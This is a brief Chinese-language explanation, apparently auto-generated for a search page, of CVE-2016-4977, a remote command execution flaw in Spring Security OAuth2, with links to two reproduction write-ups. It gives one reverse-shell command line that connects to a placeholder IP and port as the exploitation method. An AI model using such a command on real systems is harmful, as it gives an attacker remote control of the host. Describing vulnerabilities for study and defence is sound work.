CVE-2016-4977

CVE-2016-4977是指Spring Security OAuth2远程命令执行漏洞。该漏洞的复现过程可以参考第一篇和第二篇的参考链接。该漏洞的影响版本较广泛，具体版本信息可以在参考链接中找到。该漏洞的利用方式可以使用bash命令进行远程执行，例如使用"bash -i &gt;&amp; /dev/tcp/xxx.xxx.xxx.xxx/1122 0&gt;&amp;1"这样的命令进行利用。<span class="em">1</span><span class="em">2</span><span class="em">3</span>
#### 引用[.reference_title]
- *1* [【vulhub】 Spring boot Security OAuth RCE (CVE-2016-4977) 漏洞验证与getshell复现](https://blog.csdn.net/qq_45300786/article/details/119249422)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"]
- *2* *3* [cve-2016-4977(spring-security-oauth) RCE漏洞复现](https://blog.csdn.net/m0_58596609/article/details/124323206)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"]
[ .reference_list ]